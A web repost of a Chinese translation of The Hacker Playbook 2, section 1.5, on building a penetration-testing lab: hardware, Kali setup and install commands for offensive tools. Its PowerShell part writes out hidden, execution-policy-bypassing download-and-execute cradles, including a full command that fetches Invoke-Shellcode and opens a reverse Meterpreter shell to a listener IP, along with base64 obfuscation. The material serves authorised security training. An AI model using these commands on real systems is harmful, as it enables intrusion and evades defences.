weixin_33695082
weixin_33695082

《黑客秘笈——渗透测试实用指南（第2版）》—第1章1.5节构建渗透测试环境...

本节书摘来自异步社区《黑客秘笈——渗透测试实用指南（第2版）》一书中的第1章1.5节构建渗透测试环境，作者【美】Peter Kim（皮特 基姆）,更多章节内容可以访问云栖社区“异步社区”公众号查看。

1.5　构建渗透测试环境
在本书第1版中，收到很多关于为什么要让读者搭建和安装工具而不是创建脚本自动化完成这些工作的评论。主要原因是想让读者亲自经历这些步骤，这些工具都非常重要，搭建和安装的过程将有助于您知道武器库里都有什么工具。以Kali Linux为例，它包括大量工具，而且进行了很好的组织和归类，但是如果不知道这个工具已经安装了或者没使用它进行过单独的攻击，那么在紧急的情况下很难正确使用这个工具。

1.5.1　安装一个渗透测试环境
如果您根据本书第1版建立了测试环境，就可以跳过本节。众所周知，我一直喜欢带两个不同操作系统的笔记本开展渗透测试工作。一个是Windows环境，另一个是OS X或者Linux主机。我带两个笔记本的原因是，在以往的渗透测试特定的网络环境中，OS X主机不能够连接网络。与其花费几个小时分析为什么不能联网，还不如使用Windows主机开始攻击工作，等到有空闲时间再解决OS X的问题。携带两个笔记本确实节省了大量的时间。

使用Windows、OS X或者一些Linux版本作为主机操作系统，没有太大区别，但是有一些软件是必须安装的。首先安装一个虚拟机平台，可以使用VirtualBox（https://www.virtualbox. org）、VMWarePlayer（https://my.vmware.com/web/vmware/downloads）或者其他类型。在Windows平台上，VirtualBox和VMWarePlayer这两个软件都是免费的，而在OS X平台上仅有VirtualBox是免费的。我强烈推荐购买虚拟平台商业版本，因为商业版本包括大量的其他功能，例如加密、快照和更好的虚拟机管理功能。

因为要在虚拟机上安装大量的工具，所以最重要的一点是保证初始系统是干净的。在基础镜像中不要浏览个人网站。这样初始系统将一直保持干净，并且不会将恶意软件带到客户网站（之前我已经很多次见到这种情况），或者运行带有未知漏洞的服务。在配置主机后，对干净状态和配置状态的虚拟机做了快照。在后面的测试中，需要做的就是恢复虚拟机到基础镜像，对工具进行升级和打补丁，添加其他需要的工具。相信我，这个策略节省很多时间，在过去有很多次，我都花费了大量时间来安装本应该已经安装好的工具。

1.5.2　硬件
1．渗透测试笔记本
对于渗透测试笔记本电脑基本要求，与本书第1版的要求没有太大变化。

基本推荐配置：

至少有8GB内存的笔记本电脑；
500GB的硬盘空间（最好是固态硬盘）；
Intel酷睿i7四核处理器。
2．密码破解桌面
这完全是可选项，但是在多次渗透测试工作中，破解哈希值需要更快的密码破解装备。您可能配备一些令人吃惊的装备，如在一个赛扬处理器上运行8个GPU。我组装了一个多用途的设备，拥有足够大的空间以及配备功率较大的密码破解电源。在本书的后半部分，我将介绍具体的例子、研制的密码暴力破解工具以及配备多用途设备的原因。

密码暴力破解/多用途黑客设备如下所示。

机箱：海盗船复仇C70。

显卡：SAPPHIRE 100360SR Radeon R9 295x2 8GB GDDR5。

硬盘：三星840 EVO MZ-7TE500BW 2.5" 500GB SATA III TLC Internal固态盘。

电源：银欣ST1500 1500W ATX。

内存：海盗船复仇16GB(2×8GB)240针脚DDR3 SDRAM DDR3 1600。

CPU：酷睿i7 4790K 4.0G。

主板：华硕MAXIMUS VII FORMULA。

处理器风扇：酷冷至尊Hyper 212 EV。

如果仅仅用于密码暴力破解方面，配置肯定是过高了，因为在密码破解中真正起作用的组件就是GPU，但是我想将它作为武器库中一个新添加的装备。

1.5.3　开源软件和商业软件
本书中，我想比较开源软件和商业软件是很有益处的。尽管不是所有人都有经费购买商业软件，但是重要的是要知道什么软件是可以买到的，攻击者可以使用什么软件。对于防护人员和攻击人员，拥有恰当的工具将会有很大区别。本书中，我将展示几个不同商业软件工具，这些工具我认为是很有用的。他们能够在不同攻击环境发挥作用。每一个商业软件，我将尽量提供类似的开源软件，但是不一定有这样的开源软件。

1．本书中用到的商业软件
Burp Suite Pro
Canvas
Cobalt Strike
Core Impact
Nessus
Nexpose
2．Kali Linux（https://www.kali.org/）
对于那些从来没有使用过Kali Linux的初学者，Kali Linux经常被认为是必备的渗透测试平台。它基于Debian操作系统发行版，包括大量不同类型的安全工具，所有工具预先配置在同一平台框架下。Kali Linux对渗透测试学习和研究很有帮助，本书的内容主要是基于这个Linux版本展开的。强烈推荐下载Kali虚拟机，使用它进行测试。

3．Back Box（http://www.backbox.org/
） 尽管Kali Linux被认为是必备的渗透测试平台，但是最好不要依赖某一工具、操作系统和程序，整本书中将始终坚持这个观点。开发者可能停止支持某种工具，或者更坏的情况，您开始变得视野狭窄以及过度依赖老的方法。从事Back Box建设的人们正在做着很有意义的工作，搭建另外一个安全渗透测试平台，为用户提供技术支撑。两个渗透测试平台主要的区别是Back Box基于Ubuntu操作系统，更重要的是，Back Box提供默认的用户权限管理（在Kali Linux中每个人都运行root权限）。一些用户更愿意使用Ubuntu操作系统。我遇到这样的情况，某些工具是在Ubuntu开发的，因此在Ubuntu上运行比在Kali Linux上更稳定。同样，使用Back Box可以增加一个工具的获取来源，非常有必要了解Back Box平台集成什么工具。

1.5.4　建立平台
在任何一个安全工具发布版本中，都存在一些工具没有包含其中、一些工具需要进行调整的情况。我喜欢将它们放在一个目录下，这样就会知道存放的位置，而且方便使用。以下是需要安装的工具。

探测扫描工具

Discover
EyeWitness
HTTPScreenShot
WMAP
SpiderFoot
Masscan
Gitrob
CMSmap
Recon-ng
SPARTA
WPScan
Password Lists
漏洞利用工具

Burp Suite Pro
ZAP Proxy Pro
NoSQLMap
SQLMap
SQLNinja
BeEF Exploitation Framework
Responder
Printer Exploits
Veil
WIFIPhisher
Wifite
SET
后渗透测试

本书中的自定义脚本
SMBexec
Veil
WCE
Mimikatz
PowerSploit
Nishang
后门制造工厂
DSHashes
Net-Creds
1.5.5　搭建Kali Linux
有很多种方式搭建攻击主机，但是希望您能够尽可能模仿本书中的所有例子。在开始前，应当尽可能以下述的设置配置主机。记住攻击工具经常周期性改动，可能需要对这些设置和配置做小范围的微调（不要忘了查看http://www.thehackerplaybook.com网页的更新）。对于那些已经购买实体书的读者，我已经将所有的配置和软件部分放到了Github网址（http://www.github.com/cheetz/thp2）。通过复制和粘贴脚本，方便渗透测试工作，不需要手动输入每一个命令。

因为本书是基于Kali Linux平台，所以可以通过地址http://www.kali.org/downloads/下载Kali Linux发行版。强烈推荐下载VMware镜像（https://www.offensive-security.com/kali-linux-vmware-arm-image-download）和Virtual Player/VirtualBox。记住镜像文件采用gz压缩和tar存档格式，首先提取压缩和存档文件，然后加载vmx文件。

1．Kali虚拟机启动和运行
使用用户名root和默认密码toor登录
打开一个终端
修改密码
passwd
更新镜像
apt-get update
apt-get dist-upgrade
设置Metasploit数据库
service postgresql start
让postgresql数据库在启动时加载
update-rc.dpostgresql enable
启动和停止Metasploit服务（设置数据库.yml文件）
service metasploit start
service metasploit stop
安装gedit软件
apt-get install gedit
修改主机名（很多网络管理员在DHCP的日志中查询到多台命名为Kali的主机，最好遵循渗透测试公司的主机命名规则）
gedit /etc/hostname
更改主机名（替换kali）并保存
gedit /etc/hosts
更改主机名（替换kali）并保存
reboot
*Metasploit可选项——启动日志记录
作为可选项，如果启用日志就会变得很大，但是通过Metasploit命令行接口，可以记录运行的每一条命令和结果。如果客户需要日志记录或者开展批量攻击和查询，这将变得非常有用。*如果是干净的镜像，首先输入msfconsole，在配置logging命令创建.msf4文件夹之前退出。
在命令行中输入：
echo"spool /root/msf_console.log" > /root/.msf4/msfconsole.rc
日志存储在/root/msf_console.log。
2．工具安装
后门制造工厂

对PE、ELF、Mach-O等二进制文件注入shellcode
git clone https://github.com/secretsquirrel/the-backdoor-factory/opt/the-backdoorfactory
cd the-backdoor-factory
./install.sh
HTTPScreenShot

HTTPScreenShot工具实现屏幕截图和大量网站网页的抓取
pip install selenium
git clone https://github.com/breenmachine/httpscreenshot.git/opt/ httpscreenshot
cd /opt/httpscreenshot
chmod +x install-dependencies.sh && ./install-dependencies.sh
HTTPScreenShot仅仅默认工作在64位Kali操作系统，如果运行32位PAE操作系统，按照下面步骤安装phatomjs：
wget https://bitbucket.org/ariya/phantomjs/downloads/ phantomjs-1.9.8-linuxi686.tar.bz2
bzip2 -d phantomjs-1.9.8-linux-i686.tar.bz2
tar xvf phantomjs-1.9.8-linux-i686.tar
cp phantomjs-1.9.8-linux-i686/bin/phantomjs /usr/bin/
SMBExec

使用samba工具的一种快速psexec类型攻击
git clone https://github.com/pentestgeek/smbexec.git/opt/smbexec
cd /opt/smbexec&& ./install.sh
选择1 - Debian/Ubuntu and derivatives
选择所有默认值Select all defaults
./install.sh
选择4编译smbexec二进制文件
编译完成后选择5退出
Masscan

这是最快速的互联网端口扫描工具，能够在6分钟扫描整个互联网
apt-get install gitgcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan.git /opt/masscan
cd /opt/masscan
make
make install
Gitrob

一种针对GitHub组织的探测工具
git clone https://github.com/michenriksen/gitrob.git /opt/gitrob
gem install bundler
service postgresql start
supostgres
createuser -s gitrob --pwprompt
createdb -O gitrobgitrob
exit
cd /opt/gitrob/bin
gem install gitrob
CMSmap

CMSmap是基于Python开发的开源内容管理系统扫描工具，实现对安全漏洞自动扫描
git clone https://github.com/Dionach/CMSmap /opt/CMSmap
WPScan

WordPress漏洞扫描工具和暴力破解工具
git clone https://github.com/wpscanteam/wpscan.git /opt/wpscan
cd /opt/wpscan&& ./wpscan.rb --update
EyeWitness

EyeWitness工具实现网站截图，搜集服务器报头信息和判断网站是否采用默认口令
git clone https://github.com/ChrisTruncer/EyeWitness.git/opt/EyeWitness
Printer Exploits

包括大量常用的打印机漏洞利用工具
git clone https://github.com/MooseDojo/praedasploit/opt/praedasploit
SQLMap

SQL注入工具
git clone https://github.com/sqlmapproject/sqlmap /opt/sqlmap
Recon-ng

一个功能齐全的网站探测框架，使用Python编写
git clone https://bitbucket.org/LaNMaSteR53/recon-ng.git /opt/recon-ng
Discover Scripts

定制的bash脚本，自动化处理各种渗透任务
git clone https://github.com/leebaird/discover.git/opt/discover
cd /opt/discover && ./setup.sh
BeEF Exploitation Framework

一个跨站脚本攻击框架
cd/opt/
wget https://raw.github.com/beefproject/beef/a6a7536e/install-beef
chmod +x install-beef
./install-beef
Responder

一个LLMNR、NBT-NS和MDNS协议攻击工具，包括HTTP/SMB/MSSQL/FTP/LDAP诱骗认证方法，支持NTLMv1/NTLMv2/LMv2，扩展的NTLMSSP和基本HTTP认证协议。Responder用于获取NTLM挑战/应答哈希值。
git clone https://github.com/SpiderLabs/Responder.git /opt/Responder
黑客秘笈2-自定义脚本

针对本书编写的大量自定义脚本
git clone https://github.com/cheetz/Easy-P.git /opt/Easy-P
git clone https://github.com/cheetz/Password_Plus_One /opt/Password_Plus_One
git clone https://github.com/cheetz/PowerShell_Popup /opt/PowerShell_Popup
git clone https://github.com/cheetz/icmpshock /opt/icmpshock
git clone https://github.com/cheetz/brutescrape /opt/brutescrape
git clone https://www.github.com/cheetz/reddit_xss /opt/reddit_xss
黑客秘笈2-代码副本

本书使用了PowerSploit和Powertools的代码副本，记住要从原始的代码库中复制一份
git clone https://github.com/cheetz/PowerSploit/opt/HP_PowerSploit
git clone https://github.com/cheetz/PowerTools/opt/HP_PowerTools
git clone https://github.com/cheetz/nishang/opt/nishang
DSHashes

从NTDSXtract中提取用户易于理解的哈希值
wget http://ptscripts.googlecode.com/svn/trunk/dshashes.py -O/opt/NTDSXtract/dshashes.py
SPARTA

一个基于Python脚本图形化应用程序，在扫描和枚举阶段，辅助渗透测试人员简化网络架构的渗透测试工作
git clone https://github.com/secforce/sparta.git/opt/sparta
apt-get install python-elixir
apt-get install ldap-utilsrwhorsh-client x11-apps finger
NoSQLMap

用于MongoDB数据库和网站应用程序的自动化渗透测试工具集
git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQLMap
Spiderfoot

开源的指纹检测工具
mkdir /opt/spiderfoot/ && cd /opt/spiderfoot
wget http://sourceforge.net/projects/spiderfoot/files/spiderfoot-2.3.0-src.tar.gz/download
tar xzvf download
pip install lxml
pip install netaddr
pip install M2Crypto
pip install cherrypy
pip install mako
WCE

Windows凭证编辑器（Windows Credential Editor，WCE），用于从内存中读取密码
下载地址为http://www.ampliasecurity.com/research/windows-credentials-editor/，将其存储在/opt/。例如：
wget www.ampliasecurity.com/research/wce_v1_4beta_universal.zip
mkdir/opt/wce&& unzip wce_v1 -d /opt/wce&&rm wce_v1.zip
Mimikatz

用于从内存获取明文密码、金票据和万能密钥等
从https://github.com/gentilkiwi/mimikatz/releases/latest获取最新版本
cd /opt/ &&wget http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
unzip-d ./mimikatz mimikatz_trunk.zip
SET

社会工程工具集（Social Engineering Toolkit，SET）主要用于社会工程攻击
git clone https://github.com/trustedsec/social-engineer-toolkit/ /opt/set/
cd /opt/set && ./setup.py install
PowerSploit（PowerShell）

PowerShell脚本用户后渗透测试
git clone https://github.com/mattifestation/PowerSploit.git /opt/PowerSploit
cd/opt/PowerSploit && wget
https://raw.githubusercontent.com/obscuresec/random/master/StartListener.py && wget
https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py
Nishang（PowerShell）

PowerShell漏洞利用和后渗透测试脚本汇总
git clone https://github.com/samratashok/nishang/opt/nishang
Veil-Framework

红队工具集用于规避杀毒软件检测。目前包括Veil-Evasion用于生成规避杀毒软件净荷，Veil-Catapult投送净荷到目标，Veil-PowerView获取Windows域网络拓扑信息。Veil框架也可用于创建基于Python脚本的Meterpreter可执行程序
git clone https://github.com/Veil-Framework/Veil /opt/Veil
cd /opt/Veil/ && ./Install.sh -c
Burp Suite Pro

Web渗透测试工具集
下载网址：http://portswigger.net/burp/proxy.html。强烈推荐购买专业版本，售价299美元，绝对物有所值。
ZAP Proxy Pro

OWASP ZAP：一个使用方便的集成渗透测试工具，用于挖掘网站应用程序漏洞
下载网址：https://code.google.com/p/zaproxy/wiki/Downloads?tm=2
*Kali Linux默认安装（owasp-zap）
Fuzzing Lists（SecLists）

用于配置Burp渗透测试参数
git clone https://github.com/danielmiessler/SecLists.git/ opt/SecLists
密码字典

对于不同密码字典，请参照第9章的相关内容
Net-Creds网络分析

分析PCAP文件，获取用户名/密码
git clone https://github.com/DanMcInerney/net-creds.git/ opt/net-creds
安装Firefox插件

Web开发人员插件：https://addons.mozilla.org/en-US/firefox/addon/webdeveloper/
Tamper Data：https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
Foxy Proxy：https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
User Agent Switcher：https://addons.mozilla.org/en-US/firefox/addon/user-agentswitcher/
Wifite

WiFi网络攻击工具
git clone https://github.com/derv82/wifite/opt/wifite
WIFIPhisher

WiFi网络自动化钓鱼攻击
git clone https://github.com/sophron/wifiphisher.git/opt/wifiphisher
Phishing（可选）

Phishing-Frenzy
git clone https://github.com/pentestgeek/phishing-frenzy.git/var/www/phishing-frenzy
其他自定义列表
git clone https://github.com/macubergeek/gitlist.git /opt/gitlist
*记得检查http://thehackerplaybook.com/updates/网站，获取更新的资料。

1.5.6　Windows虚拟机
强烈推荐配置Windows7/Windows8虚拟机。这是因为经历的很多次渗透测试中都需要使用应用程序，例如IE浏览器或者Cain and Abel工具，但是这些工具仅仅运行在一种类型的操作系统。记住，所有的PowerShell命令都运行在Windows主机，所以一定要准备好Windows虚拟机。携带多个操作系统环境，可以节省大量时间和精力。

除了Windows以外的高级工具列表
HxD（十六进制编辑器）
Evade（用于规避杀毒软件）
Hyperion（用于规避杀毒软件）
Metasploit
Nexpose/Nessus
Nmap
oclHashcat
Cain and Abel
Burp Suite Pro
Nishang
PowerSploit
Firefox（插件）
Web开发人员插件
Tamper Data
Foxy Proxy
User Agent Switcher
1.5.7　设置Windows环境
搭建Windows通用测试平台作为Kali Linux平台的备份。记住一定要修改主机名，如果不使用NetBios，就禁用NetBios功能，尽可能加固这些操作系统平台。要做的最后一件事是在评估过程中获取控制权。

设置Windows没有什么特别的地方，通常我安装以下软件。

HxD：下载地址为http://mh-nexus.de/en/hxd/
Evade：下载地址为https://www.securepla.net/antivirus-now-you-see-me-now-you-dont
Hyperion：下载地址为http://www.nullsecurity.net/tools/binary.html
下载并安装Windows编译器，地址为http://sourceforge.net/projects/mingw/
在Hyperion目录下运行make命令，就可以得到二进制文件。
下载并安装Metasploit，地址为http://www.Metasploit.com/
下载并安装Nessus或者Nexpose
如果打算购买商业软件，可以考虑购买Nessus，因为它更便宜，但是两个软件都能发挥作用。
下载并安装nmap，地址为http://nmap.org/download.html
下载并安装oclHashcat，地址为http://hashcat.net/oclhashcat/
下载并安装Cain and Abel，地址为http://www.oxid.it/cain.html
下载Burp Proxy Pro，地址为http://portswigger.net/burp/download.html
下载并解压Nishang，地址为https://github.com/samratashok/nishang
下载并安装PowerSploit，地址为https://github.com/mattifestation/PowerSploit/
安装Firefox插件
Web开发人员插件：https://addons.mozilla.org/en-US/firefox/addon/webdeveloper/
Tamper Data：https://addons.mozilla.org/en-US/firefox/ addon/tamper-data/
Foxy Proxy：https://addons.mozilla.org/en-US/firefox/ addon/foxyproxystandard/
User Agent Switcher：https://addons.mozilla.org/en-US/firefox/addon/useragent-switcher/
1.5.8　启动PowerShell
PowerShell已经彻底改变渗透测试的游戏规则。如果您没有任何PowerShell的使用经验，我强烈建议花费一定的时间，写一些基本的PowerShell脚本。如果需要查阅资料，了解PowerShell功能，请观看这个视频：

PowerShell脚本安全介绍：http://bit.ly/1MCb7EJ
这个视频时间稍微有点长，但是它能说明一些基本概念，帮助掌握PowerShell基础知识。为什么我在这本书中如此强调PowerShell？因为PowerShell对于渗透测试人员有以下益处：

Windows 7以上操作系统默认安装；
PowerShell脚本可以运行在内存中；
几乎不会触发杀毒软件；
可以调用.NET类；
利用用户口令（查询活动目录）；
可以用来管理活动目录；
远程执行PowerShell脚本；
使得Windows脚本攻击更加容易；
目前很多工具是基于PowerShell开发的，掌握这些工具帮助您成为能力出众、效率较高的渗透测试人员。
您可以通过Windows终端提示符输入“PowerShell”，进入PowerShell命令行，输入“help”命令显示帮助菜单。下面是本书用到的基本参数和基本设置。

-Exec Bypass：绕过执行安全保护。
这个参数非常重要！默认情况下，PowerShell的安全策略不允许运行命令和文件。通过设置这个参数，可以绕过任何一个安全保护规则。在本书中，每一次运行PowerShell脚本时均使用这个参数。
-NonI：非交互模式，PowerShell不提供用户交互式提示符。
-NoProfile（或者 –NoP）：PowerShell控制台不加载当前用户的配置。
-noexit：执行后不退出shell。这对于脚本，例如键盘记录，非常重要，因此这些脚本可以继续执行。
-W Hidden：设置会话的窗口风格，将命令窗口保持隐藏。
32位或64位PowerShell。
这非常重要。一些脚本仅仅能够运行在它们指定的平台。因此，如果是在64位平台，需要执行64位PowerShell脚本来运行命令。
32位PowerShell脚本执行：
powershell.exe -NoP -NonI -W Hidden -Exec Bypass
64位PowerShell脚本执行：
%WinDir%syswow64windowspowershellv1.0powershell.exe -NoP -NonI -W Hidden -Exec Bypass
为了更好了解PowerShell的使用方法，下面介绍一些常用的执行命令（这些命令将在本书中使用）。

第一个命令是从网站服务器下载PowerShell脚本，并执行脚本。在很多情况下，通过命令行，在被攻击对象主机上下载Meterpreter PowerShell脚本：

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-ObjectNet.WebClient). DownloadString('[PowerShell URL]'); [Parameters]
例如，如果想在目标上执行Meterpreter Shell，需要下载这个脚本：

https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
我们同样需要知道使用什么参数。最简单的找到参数的方式是阅读PowerShell脚本源代码，获取和浏览Invoke--Shellcode.ps1文件。查看Mattifestationbianxie开发的Invoke--Shellcode.ps1文件，可以通过这个例子，了解如何调用反向https Meterpreter shell（见图1.1）。

最终的PowerShell命令看起来如下所示。

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient). DownloadString('https://raw.githubusercontent.com/cheetz/ PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https- Lhost 192.168.30.129 -Lport 80


《黑客秘笈——渗透测试实用指南（第2版）》—第1章1.5节构建渗透测试环境..._第1张图片

可以看出，PowerShell使用非常简单，而且功能超级强大。下面了解更多的例子。

例如，下载同一个文件到目标上。您不需要访问网页，就可以自动下载和执行文件。在本地执行文件：

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { Import-Module [Path and File of PowerShell]; [Parameters] }"
最后，在本书中我通常使用base64编码PowerShell脚本，目的是混淆和压缩代码。运行和编码PowerShell脚本的命令如下：

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [Base64 Code]
希望上述的例子能帮助您在渗透测试中娴熟地使用PowerShell。

1.5.9　Easy-P
因为本书大量应用PowerShell脚本实施攻击，所以我创建了一个小的脚本，用于在渗透测试过程中获取PowerShell脚本。Easy-P包括我常用的一些PowerShell工具，并且具有编码脚本的功能。

对于每个命令，Easy-P提供多种方式运行代码，包括本地和远端。注意所有的远程PowerShell脚本指向我的代码或者其他人代码的复制版本。在这里我要强调一点，在后面的章节中还会提到多次：记住要从源代码中复制自己的一个拷贝，这样您就不会盲目地运行其他人的代码。现在如果一些人恶意地随意篡改PowerShell脚本，您永远不会知道发生了什么。没有做什么或者更坏的情况是，您的shell将转向其他人指定的地址。下面了解一下Easy-P的功能（见图1.2），使渗透测试工作变得更加简单。


《黑客秘笈——渗透测试实用指南（第2版）》—第1章1.5节构建渗透测试环境..._第2张图片

我在本书中最经常做的一件事就是使用PowerShell Meterpreter脚本。当执行Easy-P脚本时，输入选项4。设置本地主机IP和Meterpreter脚本回连的端口。完成设置后，就能看到如图1.3所示的输出。

得到4个不同类型的输出。

从因特网下载和执行：从网站下载一个PowerShell脚本，然后执行脚本。虽然仅获得简单的shell，并且不能下载文件，但是也很棒了。
从脚本的一个本地副本运行：如果您已经将一个PowerShell文件下载到系统中，运行命令导入PowerShell脚本，然后执行脚本。
Base64编码版本下载和执行：如果由于某个原因想混淆编码脚本，或者遇到字符限制，您可以使用base64编码代码，然后执行命令。
资源文件：最后输出的是关联的资源文件。Metasploit资源文件是一种快捷方式，自动为MeterpreterPowerShell建立监听程序。复制资源脚本并将它存成文件：/opt/listener.rc。


https://yqfile.alicdn.com/507e0b8ec63d6ba3e9aafc9280072d01ae30d205.png" >

所有的脚本已经配置成绕过执行策略，保持隐藏，以及非交互运行。看一下Easy-P其他菜单选项，还包括权限提升、横向渗透、键盘记录、PowerShell Meterpreter和修改用户执行策略等功能。请随意复制我的代码，然后修改、增加所需要的PowerShell代码。

你可能感兴趣的:(《黑客秘笈——渗透测试实用指南（第2版）》—第1章1.5节构建渗透测试环境...)

  • 斤斤计较的婚姻到底有多难？ 白心之岂必有为
    很多人私聊我会问到在哪个人群当中斤斤计较的人最多？我都会回答他，一般婚姻出现问题的斤斤计较的人士会非常多，以我多年经验，在婚姻落的一塌糊涂的人当中，斤斤计较的人数占比在20～30%以上，也就是说10个婚姻出现问题的斤斤计较的人有2-3个有多不减。在婚姻出问题当中，有大量的心理不平衡的、尖酸刻薄的怨妇。在婚姻中仅斤斤计较有两种类型：第一种是物质上的，另一种是精神上的。在物质与精神上抠门已经严重的影响
  • 情绪觉察日记第37天 露露_e800
    今天是家庭关系规划师的第二阶最后一天，慧萍老师帮我做了个案，帮我处理了埋在心底好多年的一份恐惧，并给了我深深的力量！这几天出来学习，爸妈过来婆家帮我带小孩，妈妈出于爱帮我收拾东西，并跟我先生和婆婆产生矛盾，妈妈觉得他们没有照顾好我…。今晚回家见到妈妈，我很欣赏她并赞扬她，妈妈说今晚要跟我睡我说好，当我们俩躺在床上准备睡觉的时候，我握着妈妈的手对她说:妈妈这几天辛苦你了，你看你多利害把我们的家收拾得
  • 机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习python
    一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
  • android系统selinux中添加新属性property 辉色投像
    1.定位/android/system/sepolicy/private/property_contexts声明属性开头：persist.charge声明属性类型：u:object_r:system_prop:s0图12.定位到android/system/sepolicy/public/domain.te删除neverallow{domain-init}default_prop:property
  • 底层逆袭到底有多难，不甘平凡的你准备好了吗？让吴起给你说说 造命者说
    底层逆袭到底有多难，不甘平凡的你准备好了吗？让吴起给你说说我叫吴起，生于公元前440年的战国初期，正是群雄并起、天下纷争不断的时候。后人说我是军事家、政治家、改革家，是兵家代表人物。评价我一生历仕鲁、魏、楚三国，通晓兵家、法家、儒家三家思想，在内政军事上都有极高的成就。周安王二十一年（公元前381年），因变法得罪守旧贵族，被人乱箭射死。我出生在卫国一个“家累万金”的富有家庭，从年轻时候起就不甘平凡
  • 2020-01-25 晴岚85
    郑海燕坚持分享590天2020.1.24在生活中只存在两个问题。一个问题是：你知道想要达成的目标是什么，但却不知道如何才能达成；另一个问题是：你不知道你的目标是什么。前一个是行动的问题，后一个是结果的问题。通过制定具体的下一步行动，可以解决不知道如何开始行动的问题。而通过去想象结果，对结果做预估，可以解决找不着目标的问题。对于所有吸引我们注意力，想要完成的任务，你可以先想象一下，预期的结果究竟是什
  • 10月|愿你的青春不负梦想-读书笔记-01 Tracy的小书斋
    本书的作者是俞敏洪，大家都很熟悉他了吧。俞敏洪老师是我行业的领头羊吧，也是我事业上的偶像。本日摘录他书中第一章中的金句：『一个人如果什么目标都没有，就会浑浑噩噩，感觉生命中缺少能量。能给我们能量的，是对未来的期待。第一件事，我始终为了进步而努力。与其追寻全世界的骏马，不如种植丰美的草原，到时骏马自然会来。第二件事，我始终有阶段性的目标。什么东西能给我能量？答案是对未来的期待。』读到这里的时候，我便
  • C语言宏函数 南林yan C语言c语言
    一、什么是宏函数？通过宏定义的函数是宏函数。如下，编译器在预处理阶段会将Add(x,y)替换为((x)*(y))#defineAdd(x,y)((x)*(y))#defineAdd(x,y)((x)*(y))intmain(){inta=10;intb=20;intd=10;intc=Add(a+d,b)*2;cout<
  • 谢谢你们，爱你们！ 鹿游儿
    昨天家人去泡温泉，二个孩子也带着去，出发前一晚，匆匆下班，赶回家和孩子一起收拾。饭后，我拿出笔和本子（上次去澳门时做手帐的本子）写下了1\2\3\4\5\6\7\8\9,让后让小壹去思考，带什么出发去旅游呢？她在对应的数字旁边画上了，泳衣、泳圈、肖恩、内衣内裤、tapuy、拖鞋……画完后，就让她自己对着这个本子，将要带的，一一带上，没想到这次带的书还是这本《便便工厂》(晚上姑婆发照片过来，妹妹累得
  • C语言如何定义宏函数？ 小九格物 c语言
    在C语言中，宏函数是通过预处理器定义的，它在编译之前替换代码中的宏调用。宏函数可以模拟函数的行为，但它们不是真正的函数，因为它们在编译时不会进行类型检查，也不会分配存储空间。宏函数的定义通常使用#define指令，后面跟着宏的名称和参数列表，以及宏展开后的代码。宏函数的定义方式：1.基本宏函数：这是最简单的宏函数形式，它直接定义一个表达式。#defineSQUARE(x)((x)*(x))2.带参
  • 微服务下功能权限与数据权限的设计与实现 nbsaas-boot 微服务java架构
    在微服务架构下，系统的功能权限和数据权限控制显得尤为重要。随着系统规模的扩大和微服务数量的增加，如何保证不同用户和服务之间的访问权限准确、细粒度地控制，成为设计安全策略的关键。本文将讨论如何在微服务体系中设计和实现功能权限与数据权限控制。1.功能权限与数据权限的定义功能权限：指用户或系统角色对特定功能的访问权限。通常是某个用户角色能否执行某个操作，比如查看订单、创建订单、修改用户资料等。数据权限：
  • 理解Gunicorn：Python WSGI服务器的基石 范范0825 ipythonlinux运维
    理解Gunicorn：PythonWSGI服务器的基石介绍Gunicorn，全称GreenUnicorn，是一个为PythonWSGI（WebServerGatewayInterface）应用设计的高效、轻量级HTTP服务器。作为PythonWeb应用部署的常用工具，Gunicorn以其高性能和易用性著称。本文将介绍Gunicorn的基本概念、安装和配置，帮助初学者快速上手。1.什么是Gunico
  • 2021年12月19日，春蕾教育集团团建活动感受——黄晓丹 黄错错加油
    感受:1.从陌生到熟悉的过程。游戏环节让我们在轻松的氛围中得到了锻炼，也增长了不少知识。2.游戏过程中，我们贡献的是个人力量，展现的是团队的力量。它磨合的往往不止是工作的熟悉，更是观念上契合度的贴近。3.这和工作是一样的道理。在各自的岗位上，每个人摆正自己的位置、各司其职充分发挥才能，并团结一致劲往一处使，才能实现最大的成功。新知:1.团队精神需要不断地创新。过去，人们把创新看作是冒风险，现在人们
  • Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断 尐尐呅
    结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌（Mycobacteriumtuberculosis,Mtb）感染引起，获得性免疫缺陷综合症（艾滋病）由人免疫缺陷病毒（Humanimmunodeficiencyvirustype1,HIV-1）感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队，共同研究得出单细胞测序
  • c++ 的iostream 和 c++的stdio的区别和联系 黄卷青灯77 c++算法开发语言iostreamstdio
    在C++中，iostream和C语言的stdio.h都是用于处理输入输出的库，但它们在设计、用法和功能上有许多不同。以下是两者的区别和联系：区别1.编程风格iostream（C++风格）：C++标准库中的输入输出流类库，支持面向对象的输入输出操作。典型用法是cin（输入）和cout（输出），使用>操作符来处理数据。更加类型安全，支持用户自定义类型的输入输出。#includeintmain(){in
  • 《投行人生》读书笔记 小蘑菇的树洞
